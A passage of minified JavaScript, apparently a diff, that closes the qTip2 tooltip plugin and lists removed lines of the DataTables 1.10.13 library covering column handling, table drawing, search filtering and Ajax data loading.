this.qtip.drawing=1,f.height&&e.css(J,f.height),f.width?e.css(I,f.width):(e.css(I,"").appendTo(this.redrawContainer),b=e.width(),1>b%2&&(b+=1),c=e.css("maxWidth")||"",d=e.css("minWidth")||"",a=(c+d).indexOf("%")>-1?g.width()/100:0,c=(c.indexOf("%")>-1?a:1*parseInt(c,10))||b,d=(d.indexOf("%")>-1?a:1*parseInt(d,10))||0,b=c+d?Math.min(Math.max(b,d),c):b,e.css(I,Math.round(b)).appendTo(g)),this.drawing=0,this},destroy:function(){this.bgiframe&&this.bgiframe.remove(),this.qtip._unbind([a,this.qtip.tooltip],this._ns)}}),Aa=R.ie6=function(a){return 6===da.ie?new x(a):E},Aa.initialize="render",B.ie6={"^content|style$":function(){this.redraw()}}})}(window,document);

 

-/*!

- DataTables 1.10.13

- ©2008-2016 SpryMedia Ltd - datatables.net/license

-*/

-(function(h){"function"===typeof define&&define.amd?define(["jquery"],function(E){return h(E,window,document)}):"object"===typeof exports?module.exports=function(E,H){E||(E=window);H||(H="undefined"!==typeof window?require("jquery"):require("jquery")(E));return h(H,E,E.document)}:h(jQuery,window,document)})(function(h,E,H,k){function Y(a){var b,c,d={};h.each(a,function(e){if((b=e.match(/^([^A-Z]+?)([A-Z])/))&&-1!=="a aa ai ao as b fn i m o s ".indexOf(b[1]+" "))c=e.replace(b[0],b[2].toLowerCase()),

-d[c]=e,"o"===b[1]&&Y(a[e])});a._hungarianMap=d}function J(a,b,c){a._hungarianMap||Y(a);var d;h.each(b,function(e){d=a._hungarianMap[e];if(d!==k&&(c||b[d]===k))"o"===d.charAt(0)?(b[d]||(b[d]={}),h.extend(!0,b[d],b[e]),J(a[d],b[d],c)):b[d]=b[e]})}function Fa(a){var b=m.defaults.oLanguage,c=a.sZeroRecords;!a.sEmptyTable&&(c&&"No data available in table"===b.sEmptyTable)&&F(a,a,"sZeroRecords","sEmptyTable");!a.sLoadingRecords&&(c&&"Loading..."===b.sLoadingRecords)&&F(a,a,"sZeroRecords","sLoadingRecords");

-a.sInfoThousands&&(a.sThousands=a.sInfoThousands);(a=a.sDecimal)&&fb(a)}function gb(a){A(a,"ordering","bSort");A(a,"orderMulti","bSortMulti");A(a,"orderClasses","bSortClasses");A(a,"orderCellsTop","bSortCellsTop");A(a,"order","aaSorting");A(a,"orderFixed","aaSortingFixed");A(a,"paging","bPaginate");A(a,"pagingType","sPaginationType");A(a,"pageLength","iDisplayLength");A(a,"searching","bFilter");"boolean"===typeof a.sScrollX&&(a.sScrollX=a.sScrollX?"100%":"");"boolean"===typeof a.scrollX&&(a.scrollX=

-a.scrollX?"100%":"");if(a=a.aoSearchCols)for(var b=0,c=a.length;b<c;b++)a[b]&&J(m.models.oSearch,a[b])}function hb(a){A(a,"orderable","bSortable");A(a,"orderData","aDataSort");A(a,"orderSequence","asSorting");A(a,"orderDataType","sortDataType");var b=a.aDataSort;b&&!h.isArray(b)&&(a.aDataSort=[b])}function ib(a){if(!m.__browser){var b={};m.__browser=b;var c=h("<div/>").css({position:"fixed",top:0,left:-1*h(E).scrollLeft(),height:1,width:1,overflow:"hidden"}).append(h("<div/>").css({position:"absolute",

-top:1,left:1,width:100,overflow:"scroll"}).append(h("<div/>").css({width:"100%",height:10}))).appendTo("body"),d=c.children(),e=d.children();b.barWidth=d[0].offsetWidth-d[0].clientWidth;b.bScrollOversize=100===e[0].offsetWidth&&100!==d[0].clientWidth;b.bScrollbarLeft=1!==Math.round(e.offset().left);b.bBounding=c[0].getBoundingClientRect().width?!0:!1;c.remove()}h.extend(a.oBrowser,m.__browser);a.oScroll.iBarWidth=m.__browser.barWidth}function jb(a,b,c,d,e,f){var g,j=!1;c!==k&&(g=c,j=!0);for(;d!==

-e;)a.hasOwnProperty(d)&&(g=j?b(g,a[d],d,a):a[d],j=!0,d+=f);return g}function Ga(a,b){var c=m.defaults.column,d=a.aoColumns.length,c=h.extend({},m.models.oColumn,c,{nTh:b?b:H.createElement("th"),sTitle:c.sTitle?c.sTitle:b?b.innerHTML:"",aDataSort:c.aDataSort?c.aDataSort:[d],mData:c.mData?c.mData:d,idx:d});a.aoColumns.push(c);c=a.aoPreSearchCols;c[d]=h.extend({},m.models.oSearch,c[d]);la(a,d,h(b).data())}function la(a,b,c){var b=a.aoColumns[b],d=a.oClasses,e=h(b.nTh);if(!b.sWidthOrig){b.sWidthOrig=

-e.attr("width")||null;var f=(e.attr("style")||"").match(/width:\s*(\d+[pxem%]+)/);f&&(b.sWidthOrig=f[1])}c!==k&&null!==c&&(hb(c),J(m.defaults.column,c),c.mDataProp!==k&&!c.mData&&(c.mData=c.mDataProp),c.sType&&(b._sManualType=c.sType),c.className&&!c.sClass&&(c.sClass=c.className),h.extend(b,c),F(b,c,"sWidth","sWidthOrig"),c.iDataSort!==k&&(b.aDataSort=[c.iDataSort]),F(b,c,"aDataSort"));var g=b.mData,j=R(g),i=b.mRender?R(b.mRender):null,c=function(a){return"string"===typeof a&&-1!==a.indexOf("@")};

-b._bAttrSrc=h.isPlainObject(g)&&(c(g.sort)||c(g.type)||c(g.filter));b._setter=null;b.fnGetData=function(a,b,c){var d=j(a,b,k,c);return i&&b?i(d,b,a,c):d};b.fnSetData=function(a,b,c){return S(g)(a,b,c)};"number"!==typeof g&&(a._rowReadObject=!0);a.oFeatures.bSort||(b.bSortable=!1,e.addClass(d.sSortableNone));a=-1!==h.inArray("asc",b.asSorting);c=-1!==h.inArray("desc",b.asSorting);!b.bSortable||!a&&!c?(b.sSortingClass=d.sSortableNone,b.sSortingClassJUI=""):a&&!c?(b.sSortingClass=d.sSortableAsc,b.sSortingClassJUI=

-d.sSortJUIAscAllowed):!a&&c?(b.sSortingClass=d.sSortableDesc,b.sSortingClassJUI=d.sSortJUIDescAllowed):(b.sSortingClass=d.sSortable,b.sSortingClassJUI=d.sSortJUI)}function Z(a){if(!1!==a.oFeatures.bAutoWidth){var b=a.aoColumns;Ha(a);for(var c=0,d=b.length;c<d;c++)b[c].nTh.style.width=b[c].sWidth}b=a.oScroll;(""!==b.sY||""!==b.sX)&&ma(a);s(a,null,"column-sizing",[a])}function $(a,b){var c=na(a,"bVisible");return"number"===typeof c[b]?c[b]:null}function aa(a,b){var c=na(a,"bVisible"),c=h.inArray(b,

-c);return-1!==c?c:null}function ba(a){var b=0;h.each(a.aoColumns,function(a,d){d.bVisible&&"none"!==h(d.nTh).css("display")&&b++});return b}function na(a,b){var c=[];h.map(a.aoColumns,function(a,e){a[b]&&c.push(e)});return c}function Ia(a){var b=a.aoColumns,c=a.aoData,d=m.ext.type.detect,e,f,g,j,i,h,l,q,r;e=0;for(f=b.length;e<f;e++)if(l=b[e],r=[],!l.sType&&l._sManualType)l.sType=l._sManualType;else if(!l.sType){g=0;for(j=d.length;g<j;g++){i=0;for(h=c.length;i<h;i++){r[i]===k&&(r[i]=B(a,i,e,"type"));

-q=d[g](r[i],a);if(!q&&g!==d.length-1)break;if("html"===q)break}if(q){l.sType=q;break}}l.sType||(l.sType="string")}}function kb(a,b,c,d){var e,f,g,j,i,n,l=a.aoColumns;if(b)for(e=b.length-1;0<=e;e--){n=b[e];var q=n.targets!==k?n.targets:n.aTargets;h.isArray(q)||(q=[q]);f=0;for(g=q.length;f<g;f++)if("number"===typeof q[f]&&0<=q[f]){for(;l.length<=q[f];)Ga(a);d(q[f],n)}else if("number"===typeof q[f]&&0>q[f])d(l.length+q[f],n);else if("string"===typeof q[f]){j=0;for(i=l.length;j<i;j++)("_all"==q[f]||h(l[j].nTh).hasClass(q[f]))&&

-d(j,n)}}if(c){e=0;for(a=c.length;e<a;e++)d(e,c[e])}}function N(a,b,c,d){var e=a.aoData.length,f=h.extend(!0,{},m.models.oRow,{src:c?"dom":"data",idx:e});f._aData=b;a.aoData.push(f);for(var g=a.aoColumns,j=0,i=g.length;j<i;j++)g[j].sType=null;a.aiDisplayMaster.push(e);b=a.rowIdFn(b);b!==k&&(a.aIds[b]=f);(c||!a.oFeatures.bDeferRender)&&Ja(a,e,c,d);return e}function oa(a,b){var c;b instanceof h||(b=h(b));return b.map(function(b,e){c=Ka(a,e);return N(a,c.data,e,c.cells)})}function B(a,b,c,d){var e=a.iDraw,

-f=a.aoColumns[c],g=a.aoData[b]._aData,j=f.sDefaultContent,i=f.fnGetData(g,d,{settings:a,row:b,col:c});if(i===k)return a.iDrawError!=e&&null===j&&(K(a,0,"Requested unknown parameter "+("function"==typeof f.mData?"{function}":"'"+f.mData+"'")+" for row "+b+", column "+c,4),a.iDrawError=e),j;if((i===g||null===i)&&null!==j&&d!==k)i=j;else if("function"===typeof i)return i.call(g);return null===i&&"display"==d?"":i}function lb(a,b,c,d){a.aoColumns[c].fnSetData(a.aoData[b]._aData,d,{settings:a,row:b,col:c})}

-function La(a){return h.map(a.match(/(\\.|[^\.])+/g)||[""],function(a){return a.replace(/\\\./g,".")})}function R(a){if(h.isPlainObject(a)){var b={};h.each(a,function(a,c){c&&(b[a]=R(c))});return function(a,c,f,g){var j=b[c]||b._;return j!==k?j(a,c,f,g):a}}if(null===a)return function(a){return a};if("function"===typeof a)return function(b,c,f,g){return a(b,c,f,g)};if("string"===typeof a&&(-1!==a.indexOf(".")||-1!==a.indexOf("[")||-1!==a.indexOf("("))){var c=function(a,b,f){var g,j;if(""!==f){j=La(f);

-for(var i=0,n=j.length;i<n;i++){f=j[i].match(ca);g=j[i].match(V);if(f){j[i]=j[i].replace(ca,"");""!==j[i]&&(a=a[j[i]]);g=[];j.splice(0,i+1);j=j.join(".");if(h.isArray(a)){i=0;for(n=a.length;i<n;i++)g.push(c(a[i],b,j))}a=f[0].substring(1,f[0].length-1);a=""===a?g:g.join(a);break}else if(g){j[i]=j[i].replace(V,"");a=a[j[i]]();continue}if(null===a||a[j[i]]===k)return k;a=a[j[i]]}}return a};return function(b,e){return c(b,e,a)}}return function(b){return b[a]}}function S(a){if(h.isPlainObject(a))return S(a._);

-if(null===a)return function(){};if("function"===typeof a)return function(b,d,e){a(b,"set",d,e)};if("string"===typeof a&&(-1!==a.indexOf(".")||-1!==a.indexOf("[")||-1!==a.indexOf("("))){var b=function(a,d,e){var e=La(e),f;f=e[e.length-1];for(var g,j,i=0,n=e.length-1;i<n;i++){g=e[i].match(ca);j=e[i].match(V);if(g){e[i]=e[i].replace(ca,"");a[e[i]]=[];f=e.slice();f.splice(0,i+1);g=f.join(".");if(h.isArray(d)){j=0;for(n=d.length;j<n;j++)f={},b(f,d[j],g),a[e[i]].push(f)}else a[e[i]]=d;return}j&&(e[i]=e[i].replace(V,

-""),a=a[e[i]](d));if(null===a[e[i]]||a[e[i]]===k)a[e[i]]={};a=a[e[i]]}if(f.match(V))a[f.replace(V,"")](d);else a[f.replace(ca,"")]=d};return function(c,d){return b(c,d,a)}}return function(b,d){b[a]=d}}function Ma(a){return D(a.aoData,"_aData")}function pa(a){a.aoData.length=0;a.aiDisplayMaster.length=0;a.aiDisplay.length=0;a.aIds={}}function qa(a,b,c){for(var d=-1,e=0,f=a.length;e<f;e++)a[e]==b?d=e:a[e]>b&&a[e]--; -1!=d&&c===k&&a.splice(d,1)}function da(a,b,c,d){var e=a.aoData[b],f,g=function(c,d){for(;c.childNodes.length;)c.removeChild(c.firstChild);

-c.innerHTML=B(a,b,d,"display")};if("dom"===c||(!c||"auto"===c)&&"dom"===e.src)e._aData=Ka(a,e,d,d===k?k:e._aData).data;else{var j=e.anCells;if(j)if(d!==k)g(j[d],d);else{c=0;for(f=j.length;c<f;c++)g(j[c],c)}}e._aSortData=null;e._aFilterData=null;g=a.aoColumns;if(d!==k)g[d].sType=null;else{c=0;for(f=g.length;c<f;c++)g[c].sType=null;Na(a,e)}}function Ka(a,b,c,d){var e=[],f=b.firstChild,g,j,i=0,n,l=a.aoColumns,q=a._rowReadObject,d=d!==k?d:q?{}:[],r=function(a,b){if("string"===typeof a){var c=a.indexOf("@");

--1!==c&&(c=a.substring(c+1),S(a)(d,b.getAttribute(c)))}},m=function(a){if(c===k||c===i)j=l[i],n=h.trim(a.innerHTML),j&&j._bAttrSrc?(S(j.mData._)(d,n),r(j.mData.sort,a),r(j.mData.type,a),r(j.mData.filter,a)):q?(j._setter||(j._setter=S(j.mData)),j._setter(d,n)):d[i]=n;i++};if(f)for(;f;){g=f.nodeName.toUpperCase();if("TD"==g||"TH"==g)m(f),e.push(f);f=f.nextSibling}else{e=b.anCells;f=0;for(g=e.length;f<g;f++)m(e[f])}if(b=b.firstChild?b:b.nTr)(b=b.getAttribute("id"))&&S(a.rowId)(d,b);return{data:d,cells:e}}

-function Ja(a,b,c,d){var e=a.aoData[b],f=e._aData,g=[],j,i,n,l,q;if(null===e.nTr){j=c||H.createElement("tr");e.nTr=j;e.anCells=g;j._DT_RowIndex=b;Na(a,e);l=0;for(q=a.aoColumns.length;l<q;l++){n=a.aoColumns[l];i=c?d[l]:H.createElement(n.sCellType);i._DT_CellIndex={row:b,column:l};g.push(i);if((!c||n.mRender||n.mData!==l)&&(!h.isPlainObject(n.mData)||n.mData._!==l+".display"))i.innerHTML=B(a,b,l,"display");n.sClass&&(i.className+=" "+n.sClass);n.bVisible&&!c?j.appendChild(i):!n.bVisible&&c&&i.parentNode.removeChild(i);

-n.fnCreatedCell&&n.fnCreatedCell.call(a.oInstance,i,B(a,b,l),f,b,l)}s(a,"aoRowCreatedCallback",null,[j,f,b])}e.nTr.setAttribute("role","row")}function Na(a,b){var c=b.nTr,d=b._aData;if(c){var e=a.rowIdFn(d);e&&(c.id=e);d.DT_RowClass&&(e=d.DT_RowClass.split(" "),b.__rowc=b.__rowc?sa(b.__rowc.concat(e)):e,h(c).removeClass(b.__rowc.join(" ")).addClass(d.DT_RowClass));d.DT_RowAttr&&h(c).attr(d.DT_RowAttr);d.DT_RowData&&h(c).data(d.DT_RowData)}}function mb(a){var b,c,d,e,f,g=a.nTHead,j=a.nTFoot,i=0===

-h("th, td",g).length,n=a.oClasses,l=a.aoColumns;i&&(e=h("<tr/>").appendTo(g));b=0;for(c=l.length;b<c;b++)f=l[b],d=h(f.nTh).addClass(f.sClass),i&&d.appendTo(e),a.oFeatures.bSort&&(d.addClass(f.sSortingClass),!1!==f.bSortable&&(d.attr("tabindex",a.iTabIndex).attr("aria-controls",a.sTableId),Oa(a,f.nTh,b))),f.sTitle!=d[0].innerHTML&&d.html(f.sTitle),Pa(a,"header")(a,d,f,n);i&&ea(a.aoHeader,g);h(g).find(">tr").attr("role","row");h(g).find(">tr>th, >tr>td").addClass(n.sHeaderTH);h(j).find(">tr>th, >tr>td").addClass(n.sFooterTH);

-if(null!==j){a=a.aoFooter[0];b=0;for(c=a.length;b<c;b++)f=l[b],f.nTf=a[b].cell,f.sClass&&h(f.nTf).addClass(f.sClass)}}function fa(a,b,c){var d,e,f,g=[],j=[],i=a.aoColumns.length,n;if(b){c===k&&(c=!1);d=0;for(e=b.length;d<e;d++){g[d]=b[d].slice();g[d].nTr=b[d].nTr;for(f=i-1;0<=f;f--)!a.aoColumns[f].bVisible&&!c&&g[d].splice(f,1);j.push([])}d=0;for(e=g.length;d<e;d++){if(a=g[d].nTr)for(;f=a.firstChild;)a.removeChild(f);f=0;for(b=g[d].length;f<b;f++)if(n=i=1,j[d][f]===k){a.appendChild(g[d][f].cell);

-for(j[d][f]=1;g[d+i]!==k&&g[d][f].cell==g[d+i][f].cell;)j[d+i][f]=1,i++;for(;g[d][f+n]!==k&&g[d][f].cell==g[d][f+n].cell;){for(c=0;c<i;c++)j[d+c][f+n]=1;n++}h(g[d][f].cell).attr("rowspan",i).attr("colspan",n)}}}}function O(a){var b=s(a,"aoPreDrawCallback","preDraw",[a]);if(-1!==h.inArray(!1,b))C(a,!1);else{var b=[],c=0,d=a.asStripeClasses,e=d.length,f=a.oLanguage,g=a.iInitDisplayStart,j="ssp"==y(a),i=a.aiDisplay;a.bDrawing=!0;g!==k&&-1!==g&&(a._iDisplayStart=j?g:g>=a.fnRecordsDisplay()?0:g,a.iInitDisplayStart=

--1);var g=a._iDisplayStart,n=a.fnDisplayEnd();if(a.bDeferLoading)a.bDeferLoading=!1,a.iDraw++,C(a,!1);else if(j){if(!a.bDestroying&&!nb(a))return}else a.iDraw++;if(0!==i.length){f=j?a.aoData.length:n;for(j=j?0:g;j<f;j++){var l=i[j],q=a.aoData[l];null===q.nTr&&Ja(a,l);l=q.nTr;if(0!==e){var r=d[c%e];q._sRowStripe!=r&&(h(l).removeClass(q._sRowStripe).addClass(r),q._sRowStripe=r)}s(a,"aoRowCallback",null,[l,q._aData,c,j]);b.push(l);c++}}else c=f.sZeroRecords,1==a.iDraw&&"ajax"==y(a)?c=f.sLoadingRecords:

-f.sEmptyTable&&0===a.fnRecordsTotal()&&(c=f.sEmptyTable),b[0]=h("<tr/>",{"class":e?d[0]:""}).append(h("<td />",{valign:"top",colSpan:ba(a),"class":a.oClasses.sRowEmpty}).html(c))[0];s(a,"aoHeaderCallback","header",[h(a.nTHead).children("tr")[0],Ma(a),g,n,i]);s(a,"aoFooterCallback","footer",[h(a.nTFoot).children("tr")[0],Ma(a),g,n,i]);d=h(a.nTBody);d.children().detach();d.append(h(b));s(a,"aoDrawCallback","draw",[a]);a.bSorted=!1;a.bFiltered=!1;a.bDrawing=!1}}function T(a,b){var c=a.oFeatures,d=c.bFilter;

-c.bSort&&ob(a);d?ga(a,a.oPreviousSearch):a.aiDisplay=a.aiDisplayMaster.slice();!0!==b&&(a._iDisplayStart=0);a._drawHold=b;O(a);a._drawHold=!1}function pb(a){var b=a.oClasses,c=h(a.nTable),c=h("<div/>").insertBefore(c),d=a.oFeatures,e=h("<div/>",{id:a.sTableId+"_wrapper","class":b.sWrapper+(a.nTFoot?"":" "+b.sNoFooter)});a.nHolding=c[0];a.nTableWrapper=e[0];a.nTableReinsertBefore=a.nTable.nextSibling;for(var f=a.sDom.split(""),g,j,i,n,l,q,k=0;k<f.length;k++){g=null;j=f[k];if("<"==j){i=h("<div/>")[0];

-n=f[k+1];if("'"==n||'"'==n){l="";for(q=2;f[k+q]!=n;)l+=f[k+q],q++;"H"==l?l=b.sJUIHeader:"F"==l&&(l=b.sJUIFooter);-1!=l.indexOf(".")?(n=l.split("."),i.id=n[0].substr(1,n[0].length-1),i.className=n[1]):"#"==l.charAt(0)?i.id=l.substr(1,l.length-1):i.className=l;k+=q}e.append(i);e=h(i)}else if(">"==j)e=e.parent();else if("l"==j&&d.bPaginate&&d.bLengthChange)g=qb(a);else if("f"==j&&d.bFilter)g=rb(a);else if("r"==j&&d.bProcessing)g=sb(a);else if("t"==j)g=tb(a);else if("i"==j&&d.bInfo)g=ub(a);else if("p"==

-j&&d.bPaginate)g=vb(a);else if(0!==m.ext.feature.length){i=m.ext.feature;q=0;for(n=i.length;q<n;q++)if(j==i[q].cFeature){g=i[q].fnInit(a);break}}g&&(i=a.aanFeatures,i[j]||(i[j]=[]),i[j].push(g),e.append(g))}c.replaceWith(e);a.nHolding=null}function ea(a,b){var c=h(b).children("tr"),d,e,f,g,j,i,n,l,q,k;a.splice(0,a.length);f=0;for(i=c.length;f<i;f++)a.push([]);f=0;for(i=c.length;f<i;f++){d=c[f];for(e=d.firstChild;e;){if("TD"==e.nodeName.toUpperCase()||"TH"==e.nodeName.toUpperCase()){l=1*e.getAttribute("colspan");

-q=1*e.getAttribute("rowspan");l=!l||0===l||1===l?1:l;q=!q||0===q||1===q?1:q;g=0;for(j=a[f];j[g];)g++;n=g;k=1===l?!0:!1;for(j=0;j<l;j++)for(g=0;g<q;g++)a[f+g][n+j]={cell:e,unique:k},a[f+g].nTr=d}e=e.nextSibling}}}function ta(a,b,c){var d=[];c||(c=a.aoHeader,b&&(c=[],ea(c,b)));for(var b=0,e=c.length;b<e;b++)for(var f=0,g=c[b].length;f<g;f++)if(c[b][f].unique&&(!d[f]||!a.bSortCellsTop))d[f]=c[b][f].cell;return d}function ua(a,b,c){s(a,"aoServerParams","serverParams",[b]);if(b&&h.isArray(b)){var d={},

-e=/(.*?)\[\]$/;h.each(b,function(a,b){var c=b.name.match(e);c?(c=c[0],d[c]||(d[c]=[]),d[c].push(b.value)):d[b.name]=b.value});b=d}var f,g=a.ajax,j=a.oInstance,i=function(b){s(a,null,"xhr",[a,b,a.jqXHR]);c(b)};if(h.isPlainObject(g)&&g.data){f=g.data;var n=h.isFunction(f)?f(b,a):f,b=h.isFunction(f)&&n?n:h.extend(!0,b,n);delete g.data}n={data:b,success:function(b){var c=b.error||b.sError;c&&K(a,0,c);a.json=b;i(b)},dataType:"json",cache:!1,type:a.sServerMethod,error:function(b,c){var d=s(a,null,"xhr",

-[a,null,a.jqXHR]);-1===h.inArray(!0,d)&&("parsererror"==c?K(a,0,"Invalid JSON response",1):4===b.readyState&&K(a,0,"Ajax error",7));C(a,!1)}};a.oAjaxData=b;s(a,null,"preXhr",[a,b]);a.fnServerData?a.fnServerData.call(j,a.sAjaxSource,h.map(b,function(a,b){return{name:b,value:a}}),i,a):a.sAjaxSource||"string"===typeof g?a.jqXHR=h.ajax(h.extend(n,{url:g||a.sAjaxSource})):h.isFunction(g)?a.jqXHR=g.call(j,b,i,a):(a.jqXHR=h.ajax(h.extend(n,g)),g.data=f)}function nb(a){return a.bAjaxDataGet?(a.iDraw++,C(a,

-!0),ua(a,wb(a),function(b){xb(a,b)}),!1):!0}function wb(a){var b=a.aoColumns,c=b.length,d=a.oFeatures,e=a.oPreviousSearch,f=a.aoPreSearchCols,g,j=[],i,n,l,k=W(a);g=a._iDisplayStart;i=!1!==d.bPaginate?a._iDisplayLength:-1;var r=function(a,b){j.push({name:a,value:b})};r("sEcho",a.iDraw);r("iColumns",c);r("sColumns",D(b,"sName").join(","));r("iDisplayStart",g);r("iDisplayLength",i);var ra={draw:a.iDraw,columns:[],order:[],start:g,length:i,search:{value:e.sSearch,regex:e.bRegex}};for(g=0;g<c;g++)n=b[g],

-l=f[g],i="function"==typeof n.mData?"function":n.mData,ra.columns.push({data:i,name:n.sName,searchable:n.bSearchable,orderable:n.bSortable,search:{value:l.sSearch,regex:l.bRegex}}),r("mDataProp_"+g,i),d.bFilter&&(r("sSearch_"+g,l.sSearch),r("bRegex_"+g,l.bRegex),r("bSearchable_"+g,n.bSearchable)),d.bSort&&r("bSortable_"+g,n.bSortable);d.bFilter&&(r("sSearch",e.sSearch),r("bRegex",e.bRegex));d.bSort&&(h.each(k,function(a,b){ra.order.push({column:b.col,dir:b.dir});r("iSortCol_"+a,b.col);r("sSortDir_"+

-a,b.dir)}),r("iSortingCols",k.length));b=m.ext.legacy.ajax;return null===b?a.sAjaxSource?j:ra:b?j:ra}function xb(a,b){var c=va(a,b),d=b.sEcho!==k?b.sEcho:b.draw,e=b.iTotalRecords!==k?b.iTotalRecords:b.recordsTotal,f=b.iTotalDisplayRecords!==k?b.iTotalDisplayRecords:b.recordsFiltered;if(d){if(1*d<a.iDraw)return;a.iDraw=1*d}pa(a);a._iRecordsTotal=parseInt(e,10);a._iRecordsDisplay=parseInt(f,10);d=0;for(e=c.length;d<e;d++)N(a,c[d]);a.aiDisplay=a.aiDisplayMaster.slice();a.bAjaxDataGet=!1;O(a);a._bInitComplete||

-wa(a,b);a.bAjaxDataGet=!0;C(a,!1)}function va(a,b){var c=h.isPlainObject(a.ajax)&&a.ajax.dataSrc!==k?a.ajax.dataSrc:a.sAjaxDataProp;return"data"===c?b.aaData||b[c]:""!==c?R(c)(b):b}function rb(a){var b=a.oClasses,c=a.sTableId,d=a.oLanguage,e=a.oPreviousSearch,f=a.aanFeatures,g='<input type="search" class="'+b.sFilterInput+'"/>',j=d.sSearch,j=j.match(/_INPUT_/)?j.replace("_INPUT_",g):j+g,b=h("<div/>",{id:!f.f?c+"_filter":null,"class":b.sFilter}).append(h("<label/>").append(j)),f=function(){var b=!this.value?

-"":this.value;b!=e.sSearch&&(ga(a,{sSearch:b,bRegex:e.bRegex,bSmart:e.bSmart,bCaseInsensitive:e.bCaseInsensitive}),a._iDisplayStart=0,O(a))},g=null!==a.searchDelay?a.searchDelay:"ssp"===y(a)?400:0,i=h("input",b).val(e.sSearch).attr("placeholder",d.sSearchPlaceholder).on("keyup.DT search.DT input.DT paste.DT cut.DT",g?Qa(f,g):f).on("keypress.DT",function(a){if(13==a.keyCode)return!1}).attr("aria-controls",c);h(a.nTable).on("search.dt.DT",function(b,c){if(a===c)try{i[0]!==H.activeElement&&i.val(e.sSearch)}catch(d){}});

-return b[0]}function ga(a,b,c){var d=a.oPreviousSearch,e=a.aoPreSearchCols,f=function(a){d.sSearch=a.sSearch;d.bRegex=a.bRegex;d.bSmart=a.bSmart;d.bCaseInsensitive=a.bCaseInsensitive};Ia(a);if("ssp"!=y(a)){yb(a,b.sSearch,c,b.bEscapeRegex!==k?!b.bEscapeRegex:b.bRegex,b.bSmart,b.bCaseInsensitive);f(b);for(b=0;b<e.length;b++)zb(a,e[b].sSearch,b,e[b].bEscapeRegex!==k?!e[b].bEscapeRegex:e[b].bRegex,e[b].bSmart,e[b].bCaseInsensitive);Ab(a)}else f(b);a.bFiltered=!0;s(a,null,"search",[a])}function Ab(a){for(var b=

-m.ext.search,c=a.aiDisplay,d,e,f=0,g=b.length;f<g;f++){for(var j=[],i=0,n=c.length;i<n;i++)e=c[i],d=a.aoData[e],b[f](a,d._aFilterData,e,d._aData,i)&&j.push(e);c.length=0;h.merge(c,j)}}function zb(a,b,c,d,e,f){if(""!==b){for(var g=[],j=a.aiDisplay,d=Ra(b,d,e,f),e=0;e<j.length;e++)b=a.aoData[j[e]]._aFilterData[c],d.test(b)&&g.push(j[e]);a.aiDisplay=g}}function yb(a,b,c,d,e,f){var d=Ra(b,d,e,f),f=a.oPreviousSearch.sSearch,g=a.aiDisplayMaster,j,e=[];0!==m.ext.search.length&&(c=!0);j=Bb(a);if(0>=b.length)a.aiDisplay=

-g.slice();else{if(j||c||f.length>b.length||0!==b.indexOf(f)||a.bSorted)a.aiDisplay=g.slice();b=a.aiDisplay;for(c=0;c<b.length;c++)d.test(a.aoData[b[c]]._sFilterRow)&&e.push(b[c]);a.aiDisplay=e}}function Ra(a,b,c,d){a=b?a:Sa(a);c&&(a="^(?=.*?"+h.map(a.match(/"[^"]+"|[^ ]+/g)||[""],function(a){if('"'===a.charAt(0))var b=a.match(/^"(.*)"$/),a=b?b[1]:a;return a.replace('"',"")}).join(")(?=.*?")+").*$");return RegExp(a,d?"i":"")}function Bb(a){var b=a.aoColumns,c,d,e,f,g,j,i,h,l=m.ext.type.search;c=!1;

-d=0;for(f=a.aoData.length;d<f;d++)if(h=a.aoData[d],!h._aFilterData){j=[];e=0;for(g=b.length;e<g;e++)c=b[e],c.bSearchable?(i=B(a,d,e,"filter"),l[c.sType]&&(i=l[c.sType](i)),null===i&&(i=""),"string"!==typeof i&&i.toString&&(i=i.toString())):i="",i.indexOf&&-1!==i.indexOf("&")&&(xa.innerHTML=i,i=$b?xa.textContent:xa.innerText),i.replace&&(i=i.replace(/[\r\n]/g,"")),j.push(i);h._aFilterData=j;h._sFilterRow=j.join("  ");c=!0}return c}function Cb(a){return{search:a.sSearch,smart:a.bSmart,regex:a.bRegex,

-caseInsensitive:a.bCaseInsensitive}}function Db(a){return{sSearch:a.search,bSmart:a.smart,bRegex:a.regex,bCaseInsensitive:a.caseInsensitive}}function ub(a){var b=a.sTableId,c=a.aanFeatures.i,d=h("<div/>",{"class":a.oClasses.sInfo,id:!c?b+"_info":null});c||(a.aoDrawCallback.push({fn:Eb,sName:"information"}),d.attr("role","status").attr("aria-live","polite"),h(a.nTable).attr("aria-describedby",b+"_info"));return d[0]}function Eb(a){var b=a.aanFeatures.i;if(0!==b.length){var c=a.oLanguage,d=a._iDisplayStart+

-1,e=a.fnDisplayEnd(),f=a.fnRecordsTotal(),g=a.fnRecordsDisplay(),j=g?c.sInfo:c.sInfoEmpty;g!==f&&(j+=" "+c.sInfoFiltered);j+=c.sInfoPostFix;j=Fb(a,j);c=c.fnInfoCallback;null!==c&&(j=c.call(a.oInstance,a,d,e,f,g,j));h(b).html(j)}}function Fb(a,b){var c=a.fnFormatNumber,d=a._iDisplayStart+1,e=a._iDisplayLength,f=a.fnRecordsDisplay(),g=-1===e;return b.replace(/_START_/g,c.call(a,d)).replace(/_END_/g,c.call(a,a.fnDisplayEnd())).replace(/_MAX_/g,c.call(a,a.fnRecordsTotal())).replace(/_TOTAL_/g,c.call(a,

-f)).replace(/_PAGE_/g,c.call(a,g?1:Math.ceil(d/e))).replace(/_PAGES_/g,c.call(a,g?1:Math.ceil(f/e)))}function ha(a){var b,c,d=a.iInitDisplayStart,e=a.aoColumns,f;c=a.oFeatures;var g=a.bDeferLoading;if(a.bInitialised){pb(a);mb(a);fa(a,a.aoHeader);fa(a,a.aoFooter);C(a,!0);c.bAutoWidth&&Ha(a);b=0;for(c=e.length;b<c;b++)f=e[b],f.sWidth&&(f.nTh.style.width=v(f.sWidth));s(a,null,"preInit",[a]);T(a);e=y(a);if("ssp"!=e||g)"ajax"==e?ua(a,[],function(c){var f=va(a,c);for(b=0;b<f.length;b++)N(a,f[b]);a.iInitDisplayStart=

-d;T(a);C(a,!1);wa(a,c)},a):(C(a,!1),wa(a))}else setTimeout(function(){ha(a)},200)}function wa(a,b){a._bInitComplete=!0;(b||a.oInit.aaData)&&Z(a);s(a,null,"plugin-init",[a,b]);s(a,"aoInitComplete","init",[a,b])}function Ta(a,b){var c=parseInt(b,10);a._iDisplayLength=c;Ua(a);s(a,null,"length",[a,c])}function qb(a){for(var b=a.oClasses,c=a.sTableId,d=a.aLengthMenu,e=h.isArray(d[0]),f=e?d[0]:d,d=e?d[1]:d,e=h("<select/>",{name:c+"_length","aria-controls":c,"class":b.sLengthSelect}),g=0,j=f.length;g<j;g++)e[0][g]=

